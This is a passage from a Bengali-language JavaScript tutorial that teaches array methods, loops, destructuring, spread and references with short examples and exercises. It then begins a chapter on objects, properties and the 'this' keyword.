push() ↓ [ A, B, C ] → [ A, B, C, D ] pop() ↓ [ A, B, C ] ← [ A, B, C, D ] unshift() ↓ [ A, B, C ] → [ X, A, B, C ] shift() ↓ [ A, B, C ] ← [ X, A, B, C ]
Part 02 — Looping, Searching & Slicing vs Splicing (9.18 – 9.35)
9.18 Array Loop — for
Array-এর প্রতিটি element নিয়ে কাজ করতে loop খুব গুরুত্বপূর্ণ।
9.18 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

for (let i = 0; i < fruits.length; i++) {
    console.log(fruits[i]);
}
CONSOLE OUTPUT
Apple
Banana
Mango
9.19 for...of

Array-এর value সরাসরি পাওয়ার জন্য:

9.19 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

for (let fruit of fruits) {
    console.log(fruit);
}
Text
Apple
Banana
Mango

Beginner-এর জন্য এটি খুব readable।

9.20 for...in

Array-এর index পাওয়ার জন্য:

9.20 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

for (let index in fruits) {
    console.log(index);
}
Text
0
1
2

Array-এর value দরকার হলে সাধারণত for...of বেশি appropriate।

9.21 for...of vs for...in
Methodকী পাওয়া যায়
for...ofValue
for...inKey/Index
9.21 JavaScriptRun
for (let value of fruits) {
    console.log(value);
}
9.21 JavaScriptRun
for (let index in fruits) {
    console.log(index);
}
9.22 includes()

Array-এর মধ্যে কোনো value আছে কিনা:

9.22 JavaScriptRun
let skills = ["HTML", "CSS", "JavaScript"];

console.log(skills.includes("JavaScript"));
Text
true

না থাকলে:

9.22 JavaScriptRun
console.log(skills.includes("Python"));
Text
false
9.23 indexOf()

কোন index-এ value আছে:

9.23 JavaScriptRun
let skills = ["HTML", "CSS", "JavaScript"];

console.log(skills.indexOf("CSS"));
Text
1

না থাকলে:

9.23 JavaScriptRun
console.log(skills.indexOf("Python"));
Text
-1
9.24 lastIndexOf()

একই value একাধিকবার থাকলে শেষ occurrence:

9.24 JavaScriptRun
let numbers = [10, 20, 10, 30, 10];

console.log(numbers.lastIndexOf(10));
Text
4
9.25 slice()

Array-এর একটি অংশ copy করতে:

9.25 JavaScriptRun
let fruits = [
    "Apple",
    "Banana",
    "Mango",
    "Orange"
];

let result = fruits.slice(1, 3);

console.log(result);
Text
["Banana", "Mango"]
মনে রাখবে:
end index include হয় না।
9.26 slice() Original Array পরিবর্তন করে না
9.26 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

let result = fruits.slice(0, 2);

console.log(result);
console.log(fruits);
Text
["Apple", "Banana"]
["Apple", "Banana", "Mango"]
9.27 Negative slice()
9.27 JavaScriptRun
let fruits = [
    "Apple",
    "Banana",
    "Mango",
    "Orange"
];

console.log(fruits.slice(-2));
Text
["Mango", "Orange"]
9.28 splice() — খুব গুরুত্বপূর্ণ 🔥

splice() Array-এর মধ্যে:

  • add
  • remove
  • replace

সবই করতে পারে।

Syntax:

9.28 JavaScriptRun
array.splice(start, deleteCount, item1, item2, ...);
9.29 splice() দিয়ে Remove
9.29 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

fruits.splice(1, 1);

console.log(fruits);
Text
["Apple", "Mango"]

এখানে:

Text
start = 1
deleteCount = 1

তাই Banana remove হয়েছে।

9.30 splice() দিয়ে Add
9.30 JavaScriptRun
let fruits = ["Apple", "Mango"];

fruits.splice(1, 0, "Banana");

console.log(fruits);
Text
["Apple", "Banana", "Mango"]

এখানে:

1 → কোন index থেকে 0 → কিছু remove করব না "Banana" → নতুন value
9.31 splice() দিয়ে Replace
9.31 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

fruits.splice(1, 1, "Orange");

console.log(fruits);
Text
["Apple", "Orange", "Mango"]
9.32 splice() কী Return করে?

যে elements remove হয়েছে, সেগুলো একটি Array হিসেবে return করে।

9.32 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

let removed = fruits.splice(1, 1);

console.log(removed);
Text
["Banana"]
9.33 slice() vs splice()

এটা Interview-এ খুব common।

slice()splice()
Copy/ExtractAdd/Remove/Replace
Original Array পরিবর্তন করে নাOriginal Array পরিবর্তন করে
নতুন Array return করেRemoved elements-এর Array return করে
slice(start,end)splice(start,deleteCount,...)
সহজে মনে রাখো:
slice = কেটে copy নেওয়া
splice = মূল Array-তে operation করা
9.34 join()

Array → String করতে:

9.34 JavaScriptRun
let skills = ["HTML", "CSS", "JavaScript"];

console.log(skills.join(", "));
Text
HTML, CSS, JavaScript
9.35 join() Real-life Example
9.35 JavaScriptRun
let tags = ["web", "javascript", "frontend"];

let result = tags.join(" #");

console.log("#" + result);
Text
#web #javascript #frontend
Part 03 — Reversal, Sorting & Functional Iteration — forEach, map, filter (9.36 – 9.48)
9.36 reverse()

Array-এর order উল্টে দেয়।

9.36 JavaScriptRun
let numbers = [1, 2, 3, 4];

numbers.reverse();

console.log(numbers);
Text
[4, 3, 2, 1]
⚠️ reverse() original Array পরিবর্তন করে।
9.37 sort()

Array sort করতে:

9.37 JavaScriptRun
let fruits = ["Mango", "Apple", "Banana"];

fruits.sort();

console.log(fruits);
Text
["Apple", "Banana", "Mango"]
9.38 গুরুত্বপূর্ণ — Number Sort

এই জায়গায় beginner-রা অনেক ভুল করে।

9.38 JavaScriptRun
let numbers = [10, 2, 30, 5];

numbers.sort();

console.log(numbers);

Output হতে পারে:

Text
[10, 2, 30, 5]

কারণ default sort() values-কে String হিসেবে compare করে।

9.39 Numeric Sort — Ascending
9.39 JavaScriptRun
let numbers = [10, 2, 30, 5];

numbers.sort((a, b) => a - b);

console.log(numbers);
Text
[2, 5, 10, 30]
9.40 Numeric Sort — Descending
9.40 JavaScriptRun
let numbers = [10, 2, 30, 5];

numbers.sort((a, b) => b - a);

console.log(numbers);
Text
[30, 10, 5, 2]
9.41 forEach()

Array-এর প্রতিটি element-এর উপর function চালাতে:

9.41 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

fruits.forEach(function (fruit) {
    console.log(fruit);
});
Text
Apple
Banana
Mango
9.42 forEach() with Arrow Function

Modern style:

9.42 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

fruits.forEach(fruit => {
    console.log(fruit);
});
9.43 forEach() Index
9.43 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

fruits.forEach((fruit, index) => {
    console.log(index, fruit);
});
Text
0 Apple
1 Banana
2 Mango
9.44 map() 🔥

map() একটি Array-এর প্রতিটি element transform করে নতুন Array তৈরি করে।

9.44 JavaScriptRun
let numbers = [1, 2, 3, 4];

let doubled = numbers.map(number => number * 2);

console.log(doubled);
Text
[2, 4, 6, 8]
9.45 map() Real-life Example

Product price:

9.45 JavaScriptRun
let prices = [100, 200, 300];

let discountedPrices = prices.map(price => price * 0.9);

console.log(discountedPrices);
Text
[90, 180, 270]
9.46 forEach() vs map()
forEach()map()
প্রতিটি element-এর জন্য কাজ করেপ্রতিটি element transform করে
নতুন Array return করে নানতুন Array return করে
Side effects-এর জন্য usefulData transformation-এর জন্য useful
9.47 filter() 🔥

কোনো condition অনুযায়ী elements বেছে নিতে:

9.47 JavaScriptRun
let numbers = [1, 2, 3, 4, 5, 6];

let evenNumbers = numbers.filter(number => number % 2 === 0);

console.log(evenNumbers);
Text
[2, 4, 6]
9.48 filter() Real-life Example
9.48 JavaScriptRun
let products = [
    { name: "Laptop", price: 70000 },
    { name: "Mouse", price: 1000 },
    { name: "Keyboard", price: 3000 }
];

let expensive = products.filter(product => product.price > 5000);

console.log(expensive);
Text
Laptop

বাস্তবে object নিয়ে কাজ করলে পুরো object-ই থাকবে filtered Array-তে।

Part 04 — Advanced Search & Aggregation — find, some, every, reduce (9.49 – 9.57)
9.49 find()

Condition অনুযায়ী প্রথম matching element বের করতে:

9.49 JavaScriptRun
let numbers = [10, 20, 30, 40];

let result = numbers.find(number => number > 20);

console.log(result);
Text
30

কারণ প্রথম 20-এর পর 30 condition satisfy করেছে।

9.50 find() না পেলে
9.50 JavaScriptRun
let numbers = [10, 20, 30];

let result = numbers.find(number => number > 100);

console.log(result);
Text
undefined
9.51 findIndex()

Matching element-এর index:

9.51 JavaScriptRun
let numbers = [10, 20, 30, 40];

let index = numbers.findIndex(number => number > 20);

console.log(index);
Text
2
9.52 some()

কমপক্ষে একটি element condition satisfy করে কিনা:

9.52 JavaScriptRun
let numbers = [1, 3, 5, 8];

console.log(numbers.some(number => number % 2 === 0));
Text
true

কারণ 8 even।

9.53 every()

সবগুলো element condition satisfy করে কিনা:

9.53 JavaScriptRun
let numbers = [2, 4, 6, 8];

console.log(numbers.every(number => number % 2 === 0));
Text
true

কিন্তু:

9.53 JavaScriptRun
let numbers = [2, 4, 5, 8];

console.log(numbers.every(number => number % 2 === 0));
Text
false
9.54 reduce() 🔥🔥

reduce() Array-এর অনেকগুলো value থেকে একটি final result তৈরি করতে ব্যবহৃত হয়।

💡 Example — Sum
9.54 JavaScriptRun
let numbers = [10, 20, 30, 40];

let total = numbers.reduce((sum, number) => {
    return sum + number;
}, 0);

console.log(total);
Text
100
9.55 reduce() কীভাবে কাজ করে?
Text
Initial = 0

0 + 10 = 10
10 + 20 = 30
30 + 30 = 60
60 + 40 = 100

শেষে:

Text
100
9.56 reduce() Real-life — Shopping Cart
9.56 JavaScriptRun
let prices = [1000, 2000, 3000];

let total = prices.reduce((sum, price) => {
    return sum + price;
}, 0);

console.log(total);
Text
6000

এটি shopping cart-এর total price calculation-এর basic idea।

9.57 reduce() দিয়ে Maximum
9.57 JavaScriptRun
let numbers = [10, 50, 20, 80, 30];

let max = numbers.reduce((highest, number) => {
    return number > highest ? number : highest;
}, numbers[0]);

console.log(max);
Text
80
Part 05 — Modern Syntax — Destructuring, Spread, Rest & Memory References (9.58 – 9.74)
9.58 Array Destructuring

Array থেকে সরাসরি variable তৈরি করা যায়।

9.58 JavaScriptRun
let colors = ["Red", "Green", "Blue"];

let [first, second, third] = colors;

console.log(first);
console.log(second);
console.log(third);
Text
Red
Green
Blue
9.59 Destructuring Skip
9.59 JavaScriptRun
let colors = ["Red", "Green", "Blue"];

let [first, , third] = colors;

console.log(first);
console.log(third);
Text
Red
Blue
9.60 Destructuring Default Value
9.60 JavaScriptRun
let colors = ["Red"];

let [first, second = "Blue"] = colors;

console.log(first);
console.log(second);
Text
Red
Blue
9.61 Rest with Array Destructuring
9.61 JavaScriptRun
let numbers = [1, 2, 3, 4, 5];

let [first, second, ...remaining] = numbers;

console.log(first);
console.log(second);
console.log(remaining);
Text
1
2
[3, 4, 5]
9.62 Spread Operator with Array

Array copy করতে:

9.62 JavaScriptRun
let fruits = ["Apple", "Banana"];

let newFruits = [...fruits];

console.log(newFruits);
Text
["Apple", "Banana"]
9.63 Array Combine
9.63 JavaScriptRun
let frontend = ["HTML", "CSS"];
let backend = ["Node.js", "Express"];

let skills = [...frontend, ...backend];

console.log(skills);
Text
["HTML", "CSS", "Node.js", "Express"]
9.64 Array Copy — Important
9.64 JavaScriptRun
let original = [1, 2, 3];

let copy = [...original];

copy.push(4);

console.log(original);
console.log(copy);
Text
[1, 2, 3]
[1, 2, 3, 4]
9.65 Nested Array

একটি Array-এর ভিতরে আরেকটি Array থাকতে পারে।

9.65 JavaScriptRun
let matrix = [
    [1, 2, 3],
    [4, 5, 6],
    [7, 8, 9]
];

console.log(matrix);
9.66 Nested Array Access
9.66 JavaScriptRun
let matrix = [
    [1, 2, 3],
    [4, 5, 6]
];

console.log(matrix[0][1]);
Text
2

কারণ:

matrix[0] → [1, 2, 3] matrix[0][1] → 2
9.67 2D Array Real-life Example

একটি classroom-এর marks:

9.67 JavaScriptRun
let marks = [
    [80, 75, 90],
    [70, 85, 88],
    [92, 89, 95]
];

এখানে প্রতিটি inner Array একজন student-এর marks হতে পারে।

9.68 Array-এর মধ্যে Object

Real-world JavaScript application-এ এটি খুব common:

9.68 JavaScriptRun
let students = [
    {
        name: "Shariar",
        age: 23
    },
    {
        name: "Rahim",
        age: 22
    }
];

console.log(students[0].name);
Text
Shariar
এই concept React/Node.js-এ অত্যন্ত গুরুত্বপূর্ণ।
9.69 Array.isArray()

কোনো value Array কিনা check করতে:

9.69 JavaScriptRun
let skills = ["HTML", "CSS"];

console.log(Array.isArray(skills));
Text
true

আর:

9.69 JavaScriptRun
console.log(Array.isArray("Hello"));
Text
false
9.70 Array বনাম Object
ArrayObject
Ordered collectionKey-value data
Index ব্যবহার করেKey ব্যবহার করে
users[0]user.name
List-এর জন্য usefulEntity/data model-এর জন্য useful

Example:

9.70 JavaScriptRun
let skills = ["HTML", "CSS", "JS"];

Object:

9.70 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23
};
9.71 Empty Array
9.71 JavaScriptRun
let items = [];

console.log(items.length);
Text
0

তারপর:

9.71 JavaScriptRun
items.push("Laptop");

console.log(items);
Text
["Laptop"]
9.72 Sparse Array
9.72 JavaScriptRun
let numbers = [];

numbers[3] = 100;

console.log(numbers);

এতে মাঝখানে empty slots তৈরি হতে পারে।

Text
[empty, empty, empty, 100]

এভাবে Array তৈরি করা সাধারণত avoid করা ভালো।

9.73 Array Reference
এটা খুব গুরুত্বপূর্ণ।
9.73 JavaScriptRun
let a = [1, 2, 3];

let b = a;

b.push(4);

console.log(a);
Text
[1, 2, 3, 4]

কেন?

কারণ:

a ──────┐ ↓ [1,2,3] ↑ │ b ──────┘

a এবং b একই Array object-কে reference করছে।

9.74 Array Copy করার সঠিক উপায়
9.74 JavaScriptRun
let a = [1, 2, 3];

let b = [...a];

b.push(4);

console.log(a);
console.log(b);
Text
[1, 2, 3]
[1, 2, 3, 4]
Part 06 — Advanced Methods, Constructors & Ecosystem Reference (9.75 – 9.89)
9.75 concat()

দুটি Array combine:

9.75 JavaScriptRun
let a = [1, 2];
let b = [3, 4];

let result = a.concat(b);

console.log(result);
Text
[1, 2, 3, 4]

Spread দিয়েও:

9.75 JavaScriptRun
let result = [...a, ...b];
9.76 flat()

Nested Array flatten করতে:

9.76 JavaScriptRun
let numbers = [1, 2, [3, 4], [5, 6]];

console.log(numbers.flat());
Text
[1, 2, 3, 4, 5, 6]
9.77 Deep Nested flat()
9.77 JavaScriptRun
let numbers = [
    1,
    [2, [3, [4]]]
];

console.log(numbers.flat(Infinity));
Text
[1, 2, 3, 4]
9.78 Array.from()

Array-like বা iterable data থেকে Array তৈরি করতে:

9.78 JavaScriptRun
let text = "Hello";

let chars = Array.from(text);

console.log(chars);
Text
["H", "e", "l", "l", "o"]
9.79 Array.of()

Values দিয়ে Array তৈরি:

9.79 JavaScriptRun
let numbers = Array.of(10, 20, 30);

console.log(numbers);
Text
[10, 20, 30]
9.80 Array.from() দিয়ে Generate
9.80 JavaScriptRun
let numbers = Array.from(
    { length: 5 },
    (_, index) => index + 1
);

console.log(numbers);
Text
[1, 2, 3, 4, 5]
9.81 Important: fill()

Array-এর নির্দিষ্ট জায়গায় একই value বসাতে:

9.81 JavaScriptRun
let numbers = [1, 2, 3, 4, 5];

numbers.fill(0);

console.log(numbers);
Text
[0, 0, 0, 0, 0]
9.82 fill() Partial
9.82 JavaScriptRun
let numbers = [1, 2, 3, 4, 5];

numbers.fill(0, 1, 3);

console.log(numbers);
Text
[1, 0, 0, 4, 5]
9.83 copyWithin()

Array-এর ভিতরের কিছু element অন্য জায়গায় copy করতে:

9.83 JavaScriptRun
let numbers = [1, 2, 3, 4, 5];

numbers.copyWithin(0, 3);

console.log(numbers);
Text
[4, 5, 3, 4, 5]

এটি তুলনামূলকভাবে কম ব্যবহৃত method, কিন্তু JavaScript Array API-এর অংশ হিসেবে জানা ভালো।

9.84 flatMap()

map() + flat() একসাথে করার মতো।

9.84 JavaScriptRun
let numbers = [1, 2, 3];

let result = numbers.flatMap(number => [number, number * 2]);

console.log(result);
Text
[1, 2, 2, 4, 3, 6]
9.85 entries()

Index এবং value দুটো একসাথে:

9.85 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

for (let [index, fruit] of fruits.entries()) {
    console.log(index, fruit);
}
Text
0 Apple
1 Banana
2 Mango
9.86 keys()

Index পাওয়া যায়:

9.86 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

for (let key of fruits.keys()) {
    console.log(key);
}
Text
0
1
2
9.87 values()

Values:

9.87 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

for (let value of fruits.values()) {
    console.log(value);
}
Text
Apple
Banana
Mango
9.88 Array Method Categories 🧠
Add / Remove
Text
push()
pop()
shift()
unshift()
splice()
Search
Text
includes()
indexOf()
lastIndexOf()
find()
findIndex()
Transform
Text
map()
flatMap()
Filter / Check
Text
filter()
some()
every()
Calculation
Text
reduce()
Copy / Extract
Text
slice()
concat()
Ordering
Text
sort()
reverse()
Convert
Text
join()
flat()
9.89 Array Methods — সবচেয়ে গুরুত্বপূর্ণ Table
MethodকাজOriginal Array পরিবর্তন?
push()শেষে যোগ
pop()শেষে remove
shift()শুরু থেকে remove
unshift()শুরুতে যোগ
splice()add/remove/replace
slice()অংশ copy
map()transform
filter()filter
find()প্রথম match
findIndex()প্রথম match-এর index
some()অন্তত একটি match
every()সব match
reduce()single result
includes()value আছে কিনা
indexOf()index খোঁজা
join()Array → String
concat()Array combine
reverse()reverse
sort()sort
fill()value fill
flat()nested flatten
Part 07 — Real-Life Mini Projects, Core Concepts, Practice Lab & Summary
PROJECT 1 🔥 Real-life Mini Project — Shopping Cart

এখন Array-এর অনেক concept একসাথে ব্যবহার করি।

JavaScriptRun
let cart = [
    {
        name: "Laptop",
        price: 70000
    },
    {
        name: "Mouse",
        price: 1000
    },
    {
        name: "Keyboard",
        price: 3000
    }
];

console.log("Products:");

cart.forEach(product => {
    console.log(product.name);
});

let total = cart.reduce((sum, product) => {
    return sum + product.price;
}, 0);

console.log("Total:", total);
CONSOLE OUTPUT
Products:
Laptop
Mouse
Keyboard

Total: 74000

এখানে আমরা ব্যবহার করেছি:

Text
Array
Object
forEach()
reduce()

এই pattern বাস্তব e-commerce application-এ খুব common।

PROJECT 2 🔥 Real-life Mini Project — Student Result
JavaScriptRun
let marks = [80, 75, 90, 65, 88];

let total = marks.reduce((sum, mark) => sum + mark, 0);

let average = total / marks.length;

let passed = marks.filter(mark => mark >= 40);

console.log("Total:", total);
console.log("Average:", average);
console.log("Passed:", passed);
CONSOLE OUTPUT
Total: 398
Average: 79.6
Passed: [80, 75, 90, 65, 88]
PROJECT 3 🔥 Real-life Mini Project — Search Products
JavaScriptRun
let products = [
    "HP Laptop",
    "Dell Laptop",
    "Logitech Mouse",
    "Mechanical Keyboard"
];

let search = "laptop";

let result = products.filter(product =>
    product.toLowerCase().includes(search.toLowerCase())
);

console.log(result);
CONSOLE OUTPUT
[
    "HP Laptop",
    "Dell Laptop"
]

এটি basic product search-এর ধারণা।

CORE CONCEPTS 🧠 Chapter 9 — সবচেয়ে গুরুত্বপূর্ণ Concepts

তোমাকে এগুলো অবশ্যই ভালোভাবে আয়ত্ত করতে হবে:

Text
1. Array কী
2. Array Index
3. length
4. Accessing elements
5. Updating elements
6. push()
7. pop()
8. shift()
9. unshift()
10. for loop
11. for...of
12. forEach()
13. includes()
14. indexOf()
15. slice()
16. splice()
17. join()
18. reverse()
19. sort()
20. map()
21. filter()
22. find()
23. findIndex()
24. some()
25. every()
26. reduce()
27. Array Destructuring
28. Spread Operator
29. Nested Arrays
30. Array of Objects
31. Array Reference
32. Array Copy
33. concat()
34. flat()
35. flatMap()
36. Array.from()
37. Array.of()
38. fill()
39. entries()
40. keys()
41. values()
42. Array.isArray()
PRACTICE LAB 📝 Chapter 9 — Practice Set

Practice 1 — Basic Array

JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

এগুলো বের করো:

Text
Apple
Mango
3

Practice 2 — Add & Remove

JavaScriptRun
let skills = ["HTML", "CSS"];

JavaScript এবং React যোগ করো।

তারপর শেষের element remove করো।

Practice 3 — Search

JavaScriptRun
let skills = ["HTML", "CSS", "JavaScript", "React"];

Check করো:

JavaScript আছে → true Python আছে → false

Practice 4 — Filter

JavaScriptRun
let numbers = [10, 15, 20, 25, 30, 35];

শুধু even numbers বের করো।

Expected:

Text
[10, 20, 30]

Practice 5 — Map

JavaScriptRun
let numbers = [1, 2, 3, 4, 5];

প্রতিটি number-এর double বের করো।

Expected:

Text
[2, 4, 6, 8, 10]

Practice 6 — Reduce

JavaScriptRun
let prices = [100, 200, 300, 400];

Total বের করো।

Expected:

Text
1000

Practice 7 — Find

JavaScriptRun
let numbers = [10, 25, 40, 55, 70];

50-এর বেশি প্রথম number বের করো।

Expected:

Text
55

Practice 8 — Sort

JavaScriptRun
let numbers = [50, 10, 80, 20, 30];

Ascending:

Text
[10, 20, 30, 50, 80]

Descending:

Text
[80, 50, 30, 20, 10]

Practice 9 — Destructuring

JavaScriptRun
let student = ["Shariar", 23, "CSE"];

Destructuring করে:

Text
name
age
department

আলাদা variable বানাও।

Practice 10 — Mini Project 🛒

JavaScriptRun
let cart = [
    { name: "Laptop", price: 70000 },
    { name: "Mouse", price: 1000 },
    { name: "Keyboard", price: 3000 },
    { name: "Monitor", price: 15000 }
];

এমন program তৈরি করো যা:

  • সব product-এর নাম দেখাবে
  • সব product-এর total price বের করবে
  • 5000 টাকার বেশি product বের করবে
  • সবচেয়ে বেশি দামের product বের করবে
  • product-এর নামগুলো একটি নতুন Array-তে রাখবে
SUMMARY 🎯 Chapter 9 Final Summary — এক নজরে Array

এক কথায়:

Array = এক variable-এর মধ্যে ordered multiple values রাখার ব্যবস্থা।
সবচেয়ে বেশি মনে রাখবে:
JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

তারপর:

JavaScriptRun
fruits.push("Orange");       // Add
fruits.pop();                // Remove last
fruits.unshift("Orange");    // Add first
fruits.shift();              // Remove first

Search:

JavaScriptRun
fruits.includes("Apple");
fruits.indexOf("Apple");

Extract:

JavaScriptRun
fruits.slice(0, 2);

Modify:

JavaScriptRun
fruits.splice(1, 1);

Transform:

JavaScriptRun
fruits.map(...);

Filter:

JavaScriptRun
fruits.filter(...);

Find:

JavaScriptRun
fruits.find(...);

Calculate:

JavaScriptRun
numbers.reduce(...);

Loop:

JavaScriptRun
fruits.forEach(...);

Combine:

JavaScriptRun
[...array1, ...array2];

Destructure:

JavaScriptRun
let [a, b, c] = array;
TOP 8 🚀 Chapter 9-এর সবচেয়ে গুরুত্বপূর্ণ ৮টি Method

যদি এখনই সব method মুখস্থ না হয়, অন্তত এগুলো শক্ত করো:

Text
1. push()
2. pop()
3. slice()
4. splice()
5. forEach()
6. map()
7. filter()
8. reduce()
NEXT CHAPTER 🚀 Chapter 10 Preview — Objects

এরপর Chapter 10 — Objects-এ আমরা JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ data structure-এর আরেকটি অংশ শিখব: Object, Properties, Methods, Nested Objects, Object Access, Add/Update/Delete, this, Object Destructuring, Spread, Object.keys(), Object.values(), Object.entries(), Optional Chaining, Object References, Shallow Copy, এবং Array of Objects

Chapter 10
↑ Index
Objects & Key-Value Architecture — অবজেক্ট ও কী-ভ্যালু আর্কিটেকচার
Total Sections
68 Modules + Practice
Curriculum Part
Part 04 — Core Data Structures (3/3)
Core Mechanics
Key-Value Pairs, 'this' & References
Reference Standard
ECMAScript 2026 / V8 Runtime

Objects — Object / Key-Value Data

JavaScript শেখার সময় Objects একটি অত্যন্ত গুরুত্বপূর্ণ topic। তুমি যেহেতু পরে React + Node.js + API + MongoDB নিয়ে কাজ করবে, তাই Object ভালোভাবে বোঝা খুব জরুরি।

Part 01 — Object Creation, Properties & Access Notations (10.1 – 10.15)
10.1 Object কী?

সহজভাবে:

Object হলো related data এবং functionality-কে key-value pair আকারে এক জায়গায় রাখার একটি structure।
💡 Real-life Example

একজন Student-এর তথ্য:

Name → Shariar Age → 23 Department → CSE University → DIU

JavaScript:

10.1 JavaScriptRun
let student = {
    name: "Shariar",
    age: 23,
    department: "CSE",
    university: "DIU"
};

এখানে:

name → key "Shariar" → value age → key 23 → value
10.2 Object তৈরি করার Syntax
10.2 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23,
    city: "Dhaka"
};

Object-এর structure:

Text
{
    key: value,
    key: value,
    key: value
}
10.3 Object Property

Object-এর ভিতরের key-value pair-কে সাধারণত Property বলা হয়।

10.3 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23
};

এখানে:

name → property age → property
10.4 Object Property Access

Object-এর property access করার দুটি প্রধান উপায় আছে:

  • Dot notation
  • Bracket notation
10.5 Dot Notation
10.5 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23
};

console.log(user.name);
console.log(user.age);
CONSOLE OUTPUT
Shariar
23

Syntax:

10.5 JavaScriptRun
object.property
10.6 Bracket Notation
10.6 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23
};

console.log(user["name"]);
console.log(user["age"]);
Text
Shariar
23
10.7 Dot vs Bracket
Dot NotationBracket Notation
user.nameuser["name"]
SimpleDynamic access-এর জন্য useful
Property name সরাসরি লিখতে হয়String/expression ব্যবহার করা যায়
10.8 Dynamic Property Access 🔥

ধরো:

10.8 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23
};

let property = "name";

console.log(user[property]);
CONSOLE OUTPUT
Shariar

এখানে:

10.8 JavaScriptRun
user[property]

মানে:

10.8 JavaScriptRun
user["name"]
10.9 কেন Dot Notation কাজ করবে না?
10.9 JavaScriptRun
let property = "name";

console.log(user.property);

এটি খুঁজবে:

user["property"]

name নয়।

তাই dynamic property হলে:

10.9 JavaScriptRun
user[property]

ব্যবহার করতে হবে।

10.10 Property Add করা

Object তৈরি করার পর নতুন property যোগ করা যায়।

10.10 JavaScriptRun
let user = {
    name: "Shariar"
};

user.age = 23;

console.log(user);
Text
{
    name: "Shariar",
    age: 23
}
10.11 Bracket দিয়ে Property Add
10.11 JavaScriptRun
let user = {
    name: "Shariar"
};

user["city"] = "Dhaka";

console.log(user);
Text
{
    name: "Shariar",
    city: "Dhaka"
}
10.12 Property Update
10.12 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23
};

user.age = 24;

console.log(user.age);
Text
24
10.13 Property Delete
10.13 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23,
    city: "Dhaka"
};

delete user.city;

console.log(user);
Text
{
    name: "Shariar",
    age: 23
}
10.14 Property আছে কিনা Check

in operator:

10.14 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23
};

console.log("name" in user);
console.log("email" in user);
Text
true
false
10.15 hasOwnProperty()
10.15 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23
};

console.log(user.hasOwnProperty("name"));
console.log(user.hasOwnProperty("email"));
Text
true
false

Modern code-এ আরও robust approach হিসেবে Object.hasOwn()-ও আছে:

10.15 JavaScriptRun
console.log(Object.hasOwn(user, "name"));
Part 02 — Data Types, Nesting & Array Integration (10.16 – 10.20)
10.16 Object-এর মধ্যে বিভিন্ন Data Type

Object property-এর value যেকোনো valid JavaScript value হতে পারে।

10.16 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23,
    isStudent: true,
    skills: ["HTML", "CSS", "JavaScript"],
    address: null
};

console.log(user);

এখানে:

Text
String
Number
Boolean
Array
null

সবই আছে।

10.17 Object-এর মধ্যে Object

এটাকে Nested Object বলে।

10.17 JavaScriptRun
let user = {
    name: "Shariar",
    address: {
        city: "Dhaka",
        country: "Bangladesh"
    }
};

console.log(user.address.city);
Text
Dhaka
10.18 Nested Object Access
10.18 JavaScriptRun
let student = {
    name: "Shariar",
    university: {
        name: "Daffodil International University",
        department: "CSE"
    }
};

console.log(student.university.name);
console.log(student.university.department);
Text
Daffodil International University
CSE
10.19 Object-এর মধ্যে Array
10.19 JavaScriptRun
let user = {
    name: "Shariar",
    skills: ["HTML", "CSS", "JavaScript", "React"]
};

console.log(user.skills[0]);
console.log(user.skills[3]);
Text
HTML
React
10.20 Array-এর মধ্যে Object 🔥

এটি real-world JavaScript-এ খুব common।

10.20 JavaScriptRun
let users = [
    {
        name: "Shariar",
        age: 23
    },
    {
        name: "Rahim",
        age: 22
    }
];

console.log(users[0].name);
Text
Shariar

API response-এ তুমি এই ধরনের structure অনেক দেখতে পাবে।

Part 03 — Object Methods, Shorthands & The 'this' Keyword (10.21 – 10.27)
10.21 Object Method

Object-এর property-এর value যদি function হয়, সেটিকে সাধারণত Method বলা হয়।

10.21 JavaScriptRun
let user = {
    name: "Shariar",

    sayHello: function () {
        console.log("Hello!");
    }
};

user.sayHello();
Text
Hello!
10.22 Method-এর Short Syntax

Modern JavaScript:

10.22 JavaScriptRun
let user = {
    name: "Shariar",

    sayHello() {
        console.log("Hello!");
    }
};

user.sayHello();

এটি cleaner syntax।

10.23 Object Method-এ this 🔥🔥
এখন খুব গুরুত্বপূর্ণ concept:
10.23 JavaScriptRun
let user = {
    name: "Shariar",

    introduce() {
        console.log(`My name is ${this.name}`);
    }
};

user.introduce();
CONSOLE OUTPUT
My name is Shariar

এখানে:

10.23 JavaScriptRun
this.name

মানে:

যে object method-টি call করেছে, সেই object's name property।
10.24 this সহজভাবে
10.24 JavaScriptRun
let user = {
    name: "Ripon",

    showName() {
        console.log(this.name);
    }
};

যখন:

10.24 JavaScriptRun
user.showName();

তখন:

this → user

তাই:

10.24 JavaScriptRun
this.name

হয়:

10.24 JavaScriptRun
user.name
10.25 this এবং Arrow Function

Object method-এ arrow function ব্যবহার করলে this সাধারণত object-কে refer করে না।

❌ এই pattern এড়িয়ে চলো:

10.25 JavaScriptRun
let user = {
    name: "Shariar",

    sayHello: () => {
        console.log(this.name);
    }
};

user.sayHello();

এখানে this lexical context থেকে আসে।

Object method-এর জন্য সাধারণত:

10.25 JavaScriptRun
sayHello() {
    console.log(this.name);
}

ব্যবহার করা সহজ ও সঠিক।

10.26 Object Property Shorthand

যদি variable এবং property-এর নাম একই হয়:

